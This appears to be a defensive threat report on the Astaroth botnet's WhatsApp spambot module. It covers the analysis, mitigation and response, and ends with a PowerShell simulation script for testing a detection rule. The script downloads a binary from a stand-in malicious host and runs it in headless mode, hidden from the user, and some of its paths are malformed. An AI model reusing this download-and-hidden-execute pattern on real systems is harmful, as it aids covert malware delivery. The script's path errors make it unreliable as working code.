Astaroth Adds a New Spambot Component for Email Campaigns

Summary

Operators of the Astaroth botnet have added a new WhatsApp Web spambot component to extend their reach across the Latin American eCrime ecosystem. The module uses headless browser automation to turn compromised victims into distribution nodes by sending malicious messages to their WhatsApp contacts. This development marks a shift from traditional email spam toward social messaging platforms.

Investigation

The investigation included a detailed technical analysis of the Astaroth spambot, uncovering AES-CTS encryption, a complex six-stage string obfuscation process, and custom configuration structures. Researchers identified substantial code similarities between the Astaroth and Vareg spambots, suggesting shared developers or code-exchange arrangements. The analysis also confirmed abuse of legitimate browser automation frameworks, including WebDriver and WPPConnect/WA-JS, to run hidden spam campaigns.

Mitigation

Organizations should educate users about WhatsApp-based social engineering and discourage opening or executing files received from unknown contacts. Browser download protections should be enabled, while unauthorized WebDriver downloads and executions should be closely monitored. Security teams should also watch for suspicious directory creation within the Windows Temp folder and consider blocking WPPConnect/WA-JS when it is not required for legitimate business use.

Response

If Astaroth activity is detected, affected endpoints should be isolated immediately to stop further spam propagation and malware delivery. Investigators should search for headless browser processes and unusual ChromeAuto_ directories within C:\Users\Public\Temp. Identified WebDriver processes should undergo forensic analysis, and network activity should be reviewed for unauthorized connections to known Astaroth C2 infrastructure.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary intends to deploy an automated WhatsApp spamming module. To do this, they first use a living-off-the-land technique, utilizing PowerShell to download a specific WebDriver binary to a local directory. Once the tool is present, the adversary executes the binary using the --headless and --disable-infobars flags. This allows the automation to run in the background, invisible to the user, facilitating the spam campaign while minimizing the footprint on the host.

• Regression Test Script:

  # Astaroth Spambot Simulation Script
  # This script simulates the download and execution sequence defined in the detection rule.
  
  $workDir = "$env:TEMPWebDriverSimulation"
  if (!(Test-Path $workDir)) { New-Item -Path $workDir -ItemType Directory }
  Set-Location $workDir
  
  # 1. Simulate Download (Triggers selection_webdriver_download)
  Write-Host "[+] Simulating WebDriver download via PowerShell..."
  $dummyWebDriver = "WebDriver.exe"
  New-Item -Path $dummyWebDriver -ItemType File
  # Mimicking the command line that the rule looks for
  powershell.exe -Command "Invoke-WebRequest -Uri 'http://fake-malware-site.com/WebDriver' -OutFile 'WebDriver.exe'"
  
  # 2. Simulate Execution (Triggers selection_webdriver_execution and selection_session_creation)
  Write-Host "[+] Simulating WebDriver execution with headless flags..."
  # We use Start-Process to ensure the command line is captured as a process creation event
  Start-Process -FilePath ".$dummyWebDriver" -ArgumentList "--headless", "--disable-infobars" -NoNewWindow

• Cleanup Commands:

  # Cleanup simulation artifacts
  Remove-Item -Path "$env:TEMPWebDriverSimulation" -Recurse -Force
  Write-Host "[+] Cleanup complete."